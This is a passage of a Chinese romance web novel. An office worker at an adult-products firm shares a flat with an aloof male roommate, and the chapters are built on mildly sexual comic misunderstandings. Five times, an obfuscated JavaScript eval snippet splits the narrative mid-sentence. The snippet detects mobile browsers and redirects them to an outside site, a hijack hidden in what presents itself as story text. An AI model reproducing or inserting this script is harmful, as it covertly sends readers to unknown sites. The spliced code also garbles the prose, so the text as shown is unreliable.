坐在椅子上，他揉了揉突突直跳的太阳穴，林晚星哔哩吧啦的声音仿佛还在耳边萦绕。 吵，太吵了。 早知道会这样，他一开始还是自己去找单身公寓算了。 今天下午，他坐了几个小时的高铁过来，明天还要上班，本想洗个澡收拾下行李就休息了，没想到还要处理这些事。 他不太喜欢处理人际关系，刚才那一个多小时的碰撞，已经让他掏光了所有的精力。 因为工作变动，他从南杭来到江城。想着人生地不熟，便拜托在这里工作的一个大学同学帮忙推荐一下住的地方。 他一开始是想找单身公寓的，不过同学帮忙问了一圈，回复道：“毕业季刚过，好的公寓都被租完了，其它离你上班地方太远了。你考不考虑跟人合租，刚好我有个朋友之前租的房子想转租。” 他第一反应是拒绝的。 刚毕业那年，他尝试过和人合租。男孩子间的相处一开始没太多边界，带女朋友上来过夜、邀请朋友过来聚会、随意进他的房间拿东西等直接将他惹炸毛了。 可他性格又不擅长和人争吵，在多次协商无果后，他第二年就找了个公寓搬出去，从此再没跟人合租过。 不过，他对江城是真不熟。 合租和长距离通勤相比，合租就显得没那么难接受。 如果真处不过来，大不了来了再重新找地方。 他也万万没想到，这次不仅是和人合租，还是和女孩子合租。 还是一个咋咋呼呼的女孩子，从进门开始，嘴巴就哔哩吧啦地没有停下来过。 一点小事也被她吵上天，跟天大的事儿一样。 跟女孩子合租，比男孩子还烦。 想到刚来到就要重新找地方搬，心里更烦。 他拿起手机，点开游戏。 …… 相比之下，林晚星就没有这么心平气和了。 她洗澡后倒在床上，立马给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543139|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋知暖打了个电话。 “暖暖，我怀疑自己最近真是遇上水逆了。你知道我有多倒霉嘛！” 林晚星一口气不带喘地跟宋知暖说了今天的事，“还跟我约法三章，什么保持一定距离，说得好像我还会占他便宜一样。哼！” 宋知暖听说，有些担心：“那他人怎么样啊？” 林晚星想了想：“还挺帅。” 宋知暖：“……我问的是，人品性格之类。” 林晚星：“性格挺高冷的，一板一眼，没什么意思，不过看着斯斯文文，还行吧。” 宋知暖沉吟片刻，还是不太放心：“到底还是个男的。晚星，我觉得跟陌生异性合租还是有风险，要不你暂时过来我这边住吧。” 林晚星不以为意：“嗐，没事。我要是去你那里住，万一他以为我要搬，搞不好鸠占鹊巢了。况且，我房租都交了，不住白不住。” 宋知暖见劝不过，便叮嘱道：“那你小心点，晚上睡觉记得锁门。有事随时给我打电话，我不关机。” 林晚星隔空给宋知暖送上飞吻：“么么~放心，我会保护好自己的。” …… 第二天，林晚星起来，似乎已经忘记了屋子里还有另一个人这件事。刚打开房门，就看到客厅上，站着一个身材高大的男人。 他穿着一身简约的白T恤，正仰着头喝水。下颌线条清晰明显，从耳下一路勾勒至下巴，顺着线条指示的方向下移，是一颗高高突起的具有骨性的喉结，正随着男人喝水的动作上下滚动。 这一大早的视觉冲击力实在是太强了，林晚星也莫名地跟着吞咽了一下。 陈图森觉察到注视的目光，停止了喝水，扭头看了过去。 林晚星做贼心虚，动作夸张地快速举起一只手，作打招呼状：“嗨！早啊……” 陈图森微微颌首，轻声说：“早。” 林晚星也走到温水壶旁，给自己倒了一杯水，没话找话地说：“喝水啊？” 陈图森的目光看向自己手上的杯子，难道还不够明显？ 他对这种没话硬聊的寒暄不太热衷，淡淡地“嗯”了一声，拿起自己的包就往外走。 林晚星皱了皱眉头：“……” 这人真的冷漠无趣情商低。 还好他只住一个月。 5. 第 5 章 到了公司，林晚星制作好今天要发的产品海报，就听到同事们在聊天： 品宣部的小优：“DD家又推出了一款延时产品，请了不少博主测评，上周在天猫上的销售量是同类品牌的TOP1。” 客服部的小风：“真的那么好用吗？搞得我都想买来试试了。” 行政阿雯：“我试了，确实还不错。我男朋友平时只有十多分钟，用了后半个小时起步。” 小优：“那是你男朋友不行吧。” 在场的人：“哈哈哈哈哈哈。” 每到这种时候，林晚星都希望自己能隐身，她现在感觉自己像坐在桑拿房一样，浑身发烫。 坐在林晚星对面的小优不经意瞥了她一眼，关心地问道：“星星，你怎么脸那么红，不舒服吗？” “我……没有啊……”小优的话让办公室的人目光都集中在林晚星身上，她感到有些窒息，拿起桌上的笔记本当扇子，说，“只是有点热……” “还热啊……”小优抬头看着天花板的中央空调，说，“你都坐在风口了。” 林晚星：“……” 市场部的沈碧刚好从林晚星身边走过，顺手将手背贴在她的脸颊上，说：“小星儿，你脸不仅红，还很烫，你不是发烧了吧？” 沈碧是蜜语年纪最大的员工，今年48岁，不过保养得非常好，看上去像是30多岁一样。平时偶尔听她们聊天说起，最近她还谈了个20多岁的男朋友，大家开玩笑地把她奉为“当代女性楷模”。 林晚星上班这段时间算是发现了，这家公司虽然有严重的性别歧视，但是却没有年龄歧视，员工年龄从20岁到50岁都有。 林晚星的脸更红了，说：“碧姐，你放心，我没事。” 沈碧一眼看穿：“那你就是……害羞了？” “没有，我只是，只是……”林晚星尴尬得无地自容，偏偏又找不出一个借口，最后只能认怂，“是有点。” 沈碧过来人一样，将手搭在林晚星肩膀上，说：“不用害羞，这都是人之常情。”她低下头，凑到林晚星耳边问道：“是还没做过？” “做……”林晚星瞪大眼睛，下意识想问“做什么”，但是答案又不言而喻，她把剩下的字咽了下去，僵硬地摇摇头，说，“没有。” 沈碧露出一脸慈母的微笑，点点头：“那你多做几次就好了，没什么好害羞的。” 林晚星不知道是沈碧年纪大经验丰富还是做这行的人都这么开放，她有点接受不了，怎么能把这些事情说得像是去试试楼下新开的快餐店一样随便。 林晚星尴尬地笑道：“做不了……我没男朋友。” 沈碧：“也不一定要男朋友，小玩具也可以。” 林晚星瞳孔地震：“小玩具……？” 沈碧：“你不是连小玩具都没用过吧？” 林晚星诚实地摇摇头。 大家看她的眼神顿时变得满是惊讶和惋惜，仿佛她错过了什么好东西。 小优义正言辞地看着她说：“小星星，我告诉你哦，男朋友可以没有，小玩具不行！” “啊……”林晚星眨巴着眼睛，一脸不解。她不理解，上床的快乐不是在于和相爱的人灵肉相融吗？ “跟一个没有感情的玩具，硬邦邦冷冰冰的，会有什么快乐啊？” 小优实在忍不住，笑了出来：“你好纯情哦~我跟你讲，玩具呢，在很多程度上，比男人还好使。首先，安全。第二，温度频率速度时间什么的完全自己掌控，太爽了你知道吗？你是没谈过，有些男人真的太弱了，你刚开始有状态，他已经结束了。有时还得假装高.潮，多少女孩子在床上不仅没爽到，还要演戏抚慰男人廉价的自尊心，这个世界真的欠所有女孩子一座奥斯卡。” “……”林晚星无言以对，这些她确实不懂。她也不想真的去尝试，无论是和男人还是跟小玩具。 毕竟，她认为自己就算不做也不影响工作，毕竟她不是负责产品研发的。 但是，她也不能每次聊天开会一个字都搭不上来，显得自己一点都不合群，也显得好像没太用心在这份工作上。 于是，她虚心求教：“我以前对这些没什么研究，你们说的那些套套、小玩具我也没用过。那我除了亲自去试用之外，还有什么方法可以多了解一些呢？” 小优想了想，真诚地建议道：“那你可以先看看网上的测评。” 此话一出，简直要震碎林晚星的三观。在她看来，这些就算跟朋友聊都会羞红脸的话题，竟然还有人在网上公开测评？ 小优本就是负责品宣，平时认识不少这个赛道的博主，她很慷慨地说：“我给你推荐几个博主，都是非常用心测评，讲得都挺好。你可以先看看，恶补一下基础知识。” “也行……” 刚好下午没什么工作，林晚星就尝试看看小优推荐过来的几个博主的视频。 一开始她还因为在办公室看这种视频而感到害羞。 不过，很快她就发现跟她想的不一样，视频上并没有什么露骨辣眼睛的画面，只是博主关于产品的介绍以及自己体验过后的感受。 看了几个后，确实涨知识了，林晚星没忍住一直看到下班。 本来想回家再看的，刚站起来才突然想起，现在家里多了一个男的。 虽说他们都是各自待在自己房间，但是…… 孤男寡女同在一个屋檐下，她偷偷摸摸看这种视频，总归是不太好。 于是，她又坐了下来，回家看还要开灯开空调，还不如在公司薅一下羊毛。 办公室的人陆陆续续离开，没多久就只剩林晚星一个人，她干脆摘下耳机，直接接上音响。 她看得很认真。 视频里提到的每一款产品，优点缺点，她都拿笔记本写下来。 看完视频，她还会去翻评论区，记录下其他网友的使用意见。 如果遇到比较感兴趣，她甚至还会去网购平台搜这款产品，把它的产品页面设计、详情页介绍以及评论区都认真看一遍。 这样一来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543140|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就算她没用过这款产品，也大概对它有个全面的了解。下次开会，她也不至于听不懂大家在说什么，就算被cue到，她或许还能说上两句。 空旷的办公室，其它区域的灯都关了，只剩林晚星头顶的灯还亮着。 音响的声音驱赶了办公室的寂静，也掩盖了突然出现的细微动静。 这时，一双手轻轻地拍在她肩上，她的脑后响起一道声音：“晚星？” “啊——啊——”林晚星被吓了一跳，真的是整个人跳了起来，还没搞清楚发生什么事，她双手第一时间伸向电脑屏幕，想要把屏幕合上。手搭在屏幕边框上时，才反应过来，这是台式电脑，最后只能慌慌张张地用两个手掌将屏幕挡住。 她这才转过身去，看到站在她身后，显然也被吓了一跳的顾歆。 “歆，歆姐？” 这时，本就没遮挡严实的屏幕还在继续播放，博主声情并茂的声音通过印象在办公室回荡：“姐妹们，女人不骗女人，这个用起来真的超爽，我昨晚第一次——” 第一次干嘛林晚星也不知道，只听到一声长长的“哔——”。 林晚星：“……” 她和顾歆对视一眼，女博主热情的介绍还在继续，两人不约而同地“噗嗤”一声笑了出来。 “歆姐，你怎么那么晚还回来？” “刚见完客户，本来打算回来做完一些手尾的。” 顾歆朝着显示器扬了扬下巴，问道：“你呢？怎么这么晚还不回去？” “我啊……”林晚星尴尬地收回双手，说，“我就是觉得自己对这一行了解得太少，想恶补一下。” 顾歆低头拿起她桌面上的笔记本，看到她认真写下的笔记，欣慰地说道：“你很用心。” 林晚星有点受宠若惊，她只是不想自己去尝试这些产品，所以才通过这些途径去了解，没想到反而还被老板表扬。这种感觉就像不想复习，通过作弊考了全班第一名还被通报表扬一样，心虚得很。 “你别夸我了，歆姐，我只是没法自己去体验，所以才想用这些方法去了解每款产品的特点。” “什么方法并不重要，可以自己体验，也可以邀请别人体验，或者像你这样，看别人的测评，了解网友的意见，都是办法。关键在于态度。” 顾歆将笔记本还给林晚星，问道：“怎么样，看了这么多，有什么收获吗？” “收获还是挺大的的。”林晚星手指翻动着自己的笔记本，说，“我看了市面上新推出风比较大的几款安全套的测评，知道了它们的主打功能，也知道了它们的优缺点。还知道什么材质可以实现什么功能。” 顾歆认真地听着，还不时点点头：“看来收获还是挺大的。” “嘻嘻，还行。”林晚星被夸得有些不好意思。 然而顾歆话锋一转，突然笑道，“不过，这虽然也可以掌握一款产品的特性，但如果要真正了解它，自己亲自体验还是最好的。” 林晚星：“……” 啊？啊？啊？ 6. 第 6 章 看到林晚星呆滞的表情，顾歆微微一笑：“不过你也不用担心。除了研发设计岗，公司也不会强迫其它岗位的员工去测试的。” 还好……林晚星暗暗松了一口气，既然老板都这么说，就放心了。 胳膊被轻轻拍了一下，林晚星紧张地抬头，看见顾歆笑着对她说：“很晚了，别看了，我送你回去吧。” “歆姐，你不是还有事吗？” “算了，也不急，我也偷下懒。” “好。”林晚星赶紧关机收拾东西，跟着顾歆走到停车场。 路上，顾歆随口寒暄，关心林晚星习不习惯，做得开不开心。林晚星得体地说，挺好的，同事们也很友善，工作也不会很辛苦。 她住的地方距离公司不远，不到半小时就到了。 林晚星道谢后就想下车，顾歆叫住了她，从后座拿过一个袋子。 “刚好车上还有一些试用装，你拿回去。” 林晚星的心脏又扑通扑通地跳起来，她不解地看着顾歆，刚刚不是才说不强迫的吗？ 她呆愣着，不敢接，也不敢拒绝。 顾歆似乎反应过来，赶紧解释说：“你别有压力。我的意思是，看视频是一回事，但是自己真正看过、触摸过、使用过都是不一样的感受。你可以慢慢来，从听别人说，到自己打开来看看，触摸下感受下不同款式的材质带来的触感，也是一种学习方法。” 林晚星这才放松下来，接过袋子：“谢谢歆姐。” 她拎着袋子走在楼道上，走到6楼时，已经有点微喘了。这个房子什么都好，就是没电梯，而且还高。租的时候觉得，反正自己还年轻还能爬，真正住进来了，还是觉得累。尤其是，下班后还要爬这么高的楼梯。 她叹了口气，咬咬牙准备一鼓作气走上去，双脚刚踏上两级楼梯，两个小孩在楼上飞快地跑下来，林晚星躲闪不及，手臂不小心被撞了一下，手上的袋子“啪”地一声掉了，里面的东西也掉了出来。 “喂——” “对不起，阿姨！”两个熊孩子头也没回，一点诚意都没有地道歉，继续嘻嘻哈哈地追逐下去。 林晚星认命，只好蹲下来自己捡。 还有两盒掉到了下面，林晚星站起来，骂骂咧咧地准备下去。 好不容易上来了，又要走下去，一来一回相当于又多走一层楼。 林晚星刚迈开步子，楼道的声控灯时间到，自动熄灭了。 于是，她下楼的那一步故意踩得大声了些，灯又亮了起来。 但她却顿住了。 有个人蹲在她面前，捡起了她掉在下面的东西。 林晚星心头一惊，糟了！这种东西怎么好意思让人看见。 她快步跑下去：“不好意思，这是我的——” 对方听到声音，站起来，抬起头。 林晚星再次停住脚步，对方不是别人，正是她的室友。 陈图森用两根手指捏着两个小盒子，伸到林晚星面前。 也不知道这两个东西是烫手还是烫眼睛，他连看都不敢看，撇过脸。 见林晚星迟迟不来拿，他问道：“不是你的吗？” 林晚星红着脸走下来，接过，看都不看，赶紧扔袋子里，说道：“是，谢谢啦……” 陈图森刚才捏着盒子的两根手指互相捻了捻，然后又在裤子后面来回擦了下。 浑身上下写满了嫌弃。 林晚星：“你听我解释……” 陈图森：“不好意思。” 两人同时开口，又同时停了下来。 陈图森：“你不用跟我解释。” 林晚星：“你说什么不好意思？” 陈图森：“你那……东西，我刚才不小心踩了一脚，你看下……不能用的话，我赔你。” “哦，不用！”林晚星不想再跟他讨论这东西，她刚才也没看瘪成什么样，反正她又不是真的要拿来用，不过就是打开来研究下产品的构造材质而已。 “没事的，能用。不是，我说的能用是指……” “能用就行。” 她话还没说完，陈图森就侧身从林晚星边上走过，继续往上走了。 林晚星：“……” 可是，我说的能用，好像跟他理解的能用，不是同一个意思吧。 次日，林晚星不打算再在公司加班看视频了。 她决定听从顾歆的建议，从看到摸，去研究一下不同功能不同材质的安全套有什么不同。 昨天回到家实在太晚了，所以她也没时间和精神去研究。今天一下班，她就离开公司，在外面吃过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543141|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭后就立刻回家了。 她郑重地将袋子里的东西一件一件地拿出来，发现还不少。 除了各种款式的套套外，还有一个电子玩具…… 小优那句话忽然就闯进脑海：“男朋友可以没有，小玩具不行！” 林晚星：呃……这…… 说实话，身边没有旁人的话，林晚星发现自己也没有那么抵触。 甚至，还有一丝好奇。 好奇，是不是真的如她们说的那么—— 好玩、刺激、妙不可言。 她首先打开那个电子玩具，查看说明书，看到使用方法上有建议可以配合安全套使用。 咦，这么一来，她不是既可以体验这个电子玩具，又可以顺便测评套套。 一举两得，还不需要用到男人，这也太棒了吧！ 想到自己即将要做的事，林晚星的心脏砰砰直跳。 好奇与期待之中，又伴随着羞涩与紧张。 她即将要亲手打开自己身体最隐秘的那道门。 虽然明明是在自己房间，她仍忍不住四处张望。 确认自己的门已锁，确认窗帘已经拉上。 她挑选了一个喜欢的，刚开始，她手上的动作就停下，强烈的羞耻心让她想要打退堂鼓。 真的要这么做吗？她怎么能做这种事？ 有点可怕…… 而且， 这么一来，她的第一次，算不算是跟这个电子男友啊？ 这样，也太不浪漫了吧…… 林晚星扁了扁嘴，要不还是算了吧。 可是她又不甘。 林晚星，你也太怂了吧。 这有什么的，这里又没有别人。 你怎么连试都不敢试！ 算了，不能怂！豁出去了！ 林晚星深呼吸一口气，一鼓作气，然后—— “啊啊啊啊啊啊——”她立刻大叫着将手里的东西扔了出去，转身将自己的脸埋在枕头上，一只手用力地捶打着床垫。 “我还是做不到！！！” 门外，刚回到家的陈图森听到室友房间里传来“逼良为娼”的惨叫声，眉头紧皱，双脚微顿后，立即加快步伐回到自己房间，锁上门。 看来，找房子的速度要加快点才行。 7. 第 7 章 第二天是周六。 林晚星没有睡懒觉的习惯，虽然周末，但她8点多就起来了。 在房间洗漱好，把自己收拾好后，她打开房门准备出去吃早餐。 门一打开，她就看到陈图森拿着一块抹布，弯腰在擦拭客厅的茶几。 感觉到房门打开，陈图森下意识地扭头看过来。 跟平时一触就散的眼神对视不同，今天的陈图森看她的时间稍微久一点，甚至有点想透过她的身体看进房间里。 林晚星努力忽略他这有些不那么寻常的举动，“早啊，你这么早就起来搞卫生啊。” “嗯。”陈图森收回视线，“想着之前都是你负责，我刚搬进来，这周应该轮到我。” 虽说他们之前约定好每周轮流搞卫生，但林晚星是真的没想到陈图森会这么自觉。 他在她这里的好感度立刻飙升，成功弥补了之前因为高冷带来的没礼貌情商低的坏印象。 “辛苦了！”林晚星走了过去，弯腰看着陈图森问道，“要不要我帮忙？” 身旁骤然多了一个人，周遭的空气被挤压，流动的方向改变。 陈图森似乎有些不适应，他默默地往边上轻轻挪动了一点，给两人之间腾出足够的空间。 无形的压迫感减轻，陈图森垂眸说道：“不用，说好轮流的，下周你记得打扫就好。” “也行。”林晚星也不坚持，直起身来，说道，“那我下去吃早餐啦！要不要顺便给你带？” 陈图森：“不用，我吃过了。” 林晚星颇为惊讶：“你连早餐都吃过了，那你起得是真早。” 陈图森对林晚星的恭维不为所动，默默无声地继续擦拭茶几。 “这周是你打扫卫生，那就我来做饭吧。”林晚星主动请缨，“我下去吃早餐，顺便买菜回来。怎么样？” 陈图森稍稍琢磨了一下，确认道：“你的意思是，一起吃？” 林晚星：“嗯。然后我们买菜的钱就AA。” 陈图森在江城认识的人不多，本身也不喜欢外出，他本来就打算在家吃饭。 那么，有人煮，一起吃，也没什么问题。 “可以。” 林晚星进房间拿起自己的小挎包，出来时不忘问道：“你有什么忌口的吗？或者你有什么想吃的吗？” 陈图森：“没有。我都行。” 林晚星：“Nice.” “那我自己话事啦！”林晚星走到玄关准备换鞋子，倏地又探出头来，“对了，你待会还要扫地拖地的吧。如果我那会没回来，能不能帮我房间一起扫了？如果我回来得早，我就自己来。” 陈图森看了看林晚星的房间，她的房门没关。 刚合租那天，他们就约定过，未经允许不能进入对方房间。 不过，现在是林晚星主动授权他进入。 “可以。” “太好了！”林晚星很开心，“下周我值日，我也会帮你打扫房间的！” 陈图森的回应慢了半拍，抬头说出“不用”两个字，却见它们尴尬地撞上门板。 林晚星人已经走了。 扫地、拖地。 陈图森干活利落，有条不紊地按照计划完成任务。 林晚星的房间，是他这个任务的最后一个区域。 他秉持互相尊重的原则，尽管在获得对方授权进入房间打扫卫生时，也尽量做到目不斜视，不看不碰任何东西。 可是，意外总是难以避免。 或者说，是巧合。 他碰巧正在弯腰拖地，碰巧林晚星房间用的是一个没有顶盖的简易废纸篓，碰巧一个用过的安全套就扔在最上面，碰巧他的眼睛看到了。 昨晚的“惨叫声”突然就在耳边响起，他似乎明白了什么。 陈图森：“……” 林晚星回来的时候，陈图森已经完成了所有打扫任务，关起门来正在房间玩游戏。 她并没有忘记自己这个室友的高冷人设，因此并没打算跟他打招呼，而是直接进厨房备菜。整个早上，陈图森都没有走出房间一步。 直到林晚星将午饭做好去敲门，他才重新露脸。 “可以吃饭啦！”林晚星仍保持着一贯的热情。 陈图森也保持着一贯的冷漠，淡淡地“嗯”了一声，便走到餐桌上坐下。 林晚星似乎也习惯了他的高冷，并没有注意到他的眼神比平时多了一层莫名的躲闪。 为了不让这餐饭显得太过尴尬，林晚星努力制造话题： “我们今天吃红烧鱼。你放心，这道菜我做过很多次，我妈都夸好。” “还有，这些餐具都是新买的。你看，我们这些买菜的钱，是当天结算，还是到你走的时候再一起结算啊？” 陈图森似乎心事重重，林晚星又追问了一次，他才缓慢地答道：“日结吧。” 林晚星点点头，没有反对。 空气又陷入安静，像是注入了胶水一样，黏黏稠稠。 林晚星只好再次努力找话题：“发现还是两个人住比较好。之前我一个人的时候，都是随便煮个面应付下。你说是吧？” 她努力把话抛过去，希望对方也能抛回来。 在她期待的目光下，陈图森缓慢地抬起头，说道：“吃饭还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543142|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要说话吧。” 林晚星：“……” 他接住了，但是却不打算继续玩这个游戏。 林晚星只好闭嘴，结束这场费力不讨好的独角戏。 一直到吃完饭，两人都没有再开口。 收拾碗筷的时候，陈图森主动说道：“我洗碗吧。” 林晚星的动作稍微迟疑了下，似乎摸不清他这个行为的动机。 是为自己刚才的态度道歉还是想怎样？ 陈图森主动解释道：“你煮饭就不用洗碗了。” 林晚星明白了，分得还真是清楚。 她胸口还堵着一股气，也不客气了，直接撒手，将活扔给陈图森，准备回房间。 “呃……那个……” 背后响起陈图森的声音，他似乎想叫她，但是好像又不习惯叫她名字一样。 林晚星很大度地转过身，问道：“还有什么事吗？” 陈图森轻轻抿了抿唇，似乎有什么难以启齿的话。 “那个……你还记得，我们当初的约定吧。” 约定？合租第一天的约法三章？ 林晚星疑惑地点点头：“记得啊，怎么啦？” 陈图森的表情好像有点被噎到，他顿了顿，估计在努力组织语言。 “第二条是，尽量不要带朋友回来。如果有朋友过来，必须事先通知对方。” 林晚星不明白他什么意思，双眼愈发迷茫，不解地点点头。 “我记得。” 陈图森表情很难看，反问道：“你记得？” 那个样子，简直就像在说，你记得，为什么又要明知故犯。 林晚星坦坦荡荡地说：“记得啊！” 别说合租了，她从搬到这里以来，就没邀请过其他人上来。 “记得就好……”陈图森喃喃自语。 他突然又想起什么，提醒道：“我的意思是，就算不过夜，也要通知对方，获得同意后，再带朋友上来。” 林晚星有些不耐烦：“你到底想说什么，要不直接点？” 陈图森双唇微微张开，又闭了上去。 良久，他才说道：“只是提醒你一下。” 陈图森低头收拾碗筷，意思是此次对话结束。 你昨晚带男朋友回来上床，就算没过夜也违法了我们的约定这种话他还是说不出口。 他也觉得跟一个女孩子讨论这种事太难了。 他也体谅她作为一个女孩子，应该是不想在一个男孩子面前讨论这种事，所以才会装傻。 既然她说记得，那估计下次就不会再犯了。 这次就算了吧。 8. 第 8 章 周一早上，林晚星来得早，没想到有人比她更早。 “歆姐，你怎么这么早？” 听到林晚星的声音，顾歆抬头一笑，说道：“早上要去见个客户，提前过来准备下。” 她从办公桌上起来，拿起杯子，出来接了一杯水，靠坐在林晚星的桌上，轻抿一口后，关心道：“你学习进度怎么样啦？” 林晚星滞愣片刻，躲在房间里准备探秘自己身体的羞耻感再次冒了出来。 “啊……那个呀……还行吧。” 顾歆微微俯首，侧头观察着林晚星的表情，猜测道：“不太顺利？” 林晚星支支吾吾，斟酌过后，小心措辞：“也不算……歆姐你说得挺对的，亲自看过触摸过不同产品功能对应使用的材质，确实对每一种产品有更深入的认识。” “嗯。”顾歆认同地点点头，“那不顺利的地方是……” 林晚星惊讶地抬起头，自己刚才的回答竟然没有应付过去吗？ 顾歆是怎么看出她还有隐瞒的？ 她下意识地左右张望，还好其她人都还没来。 “就是，感觉还没法接受它进入身体……” 顾歆听了林晚星的话，抬起头，双眼有些深沉，似乎在认真琢磨她的话。 尔后，她试探地问道：“但是，你有好奇心，想要去尝试？” 林晚星顿时呼吸一窒，怎么这样都被顾歆看出来了？ “是有点……” 顾歆总结道：“有好奇心，想要去尝试，但是接受不了。” “你是为自己做这件事感到羞耻。” 林晚星听出顾歆最后一句不是疑问句，而是陈述句。 自己的想法被她看得透透的，她好像也没有了继续隐瞒的必要。 “嗯。”林晚星小声承认道，“觉得很羞耻。” 顾歆莞尔：“这是很正常的反应。” 她脸上的笑像一道初秋的清风，拂去夏日的浮躁黏湿，也拂去林晚星内心不可对人语的紧张、羞耻。 “其实我们很小就有探索自己身体的欲望，会在洗澡时观察逗弄我们胸前的小尖尖，会在睡觉的时候夹被子，感受身体下方传来像被微弱电流刺激的酥麻感。长大后，看到心仪的异性，也会有脸红耳热以及想要靠近的冲动。这是一种与生俱来的心理和生理反应，我们完全没必要因为自己对性好奇或有需求就感到羞耻，也没有人会因此觉得你是一个badgirl。” 林晚星怔怔地听着，内心有一种奇怪的感觉。 这些道理，她不是不知道。 但是，这么多年，从来没有人告诉她，可以正视自己隐秘的需求。 她从小到大的成长环境里，性都是不可以公开谈论的。 小时候就算是看电视偶尔出现接吻的镜头，大人都会赶紧捂眼睛和换台。 她还记得初中上生物课，学到人体生殖系统时，班里的女同学个个红着脸低着头不敢四处张望，男同学则使劲憋笑，直到有一个人终于忍不住，笑出了声。笑声像是会传染一样，男生一波接一波的笑声像海浪一样翻滚。 老师则板着脸一脸严肃地斥责。 在他们人生首次公开直面自己身体的秘密，直面自己的性意识和性需求时，她们虽然知道这是正常的人体构造，却并没有人引导他们如何去接受自己。只有未成年孩子的想入非非和成年人的生硬压制。 但是，潜藏在体内的需求是无法真正被压抑的。 没有得到正确疏导的需求则被放归原野，野蛮生长。 有的缺乏自制力，任由其长成荒野的野兽。 有的不敢试探，始终躲在自己的小山洞里。 这是，第一次有人告诉她，没必要因此而感到羞耻。 她的心里，像是有一个小人，一直锁在一个阴暗的小屋子里。所有人都告诉她，待在这里是安全的。 然而，就在刚刚，顾歆的话像一把钥匙，将这个封锁的房子打开，张开怀抱迎接她、告诉她，外面也很安全，你完全可以出来看看。 她算是明白为什么这里的人都可以大大方方地讨论性，不是因为从事这行的人就特别开放，而是她们明白，这里会有人接纳她们。 见林晚星愣愣地不说话，顾歆咧嘴一笑，轻轻地拍了拍她的肩，说：“别想太多，我跟你说这些，不是要给你压力，只是希望你下次再感觉到自己身体的需求时，不用因此责怪自己，也不要因此感觉羞耻。” 她微微侧头，思索道：“这种感觉… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543143|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …就像身体饿了，发出信号让你去吃东西一样正常。” 听了顾歆的一番话后，林晚星上班都明显感觉比之前轻松了几分。 她再听到公司同事在讨论小雨伞、小玩具或者自己的性体验时，她不再感觉到不好意思，也不会那么疑惑她们为什么可以这么大胆去谈论这些。 当她开始从心里接受这是每个人正常的生理需求时，发现确实没那么难以接受。 下班后，她决定回家再次尝试一下上次没有体验到的小玩具。 她没有花时间买菜回家做饭，而是直接在外面吃了再回去。 回到家，她也没注意，陈图森回来了没就直接跑进自己房间。 像上次那样，早早洗过澡后就拿着小雨伞和小玩具上床了。 她再次研究了小玩具的使用方法，给它套上小雨伞后，深呼吸一口气，开启探索自己的身体。 这种陌生又熟悉的感觉被乘倍数地放大，强烈的触感让林晚星浑身绷直，瞳孔倏地放大。 她打开了新世界的大门。 而此时，陈图森正从房间出来，准备去浴室洗澡。 却听到从室友房间传来隐隐约约的不可描述的声音。 也不知道是生气还是什么，他只觉得身体内一股热血上腾，像是突然到达沸点，浑身燥热。 他皱了皱眉，心中的不满在热血中翻滚。 前两天不是才提醒过她了吗？怎么又来了？ 他甚至有些想要直接冲过去敲开她的门，然而想要会看到的不堪画面，他还是忍住了。 他走进浴室，将花洒阀门调至蓝色标志处，开始洗澡。 因为林晚星，他今天在浴室的时间也延长了。 然而，当他走出浴室的时候，那道让他心烦意乱的声音却没有停止。 这也……太久了点吧。 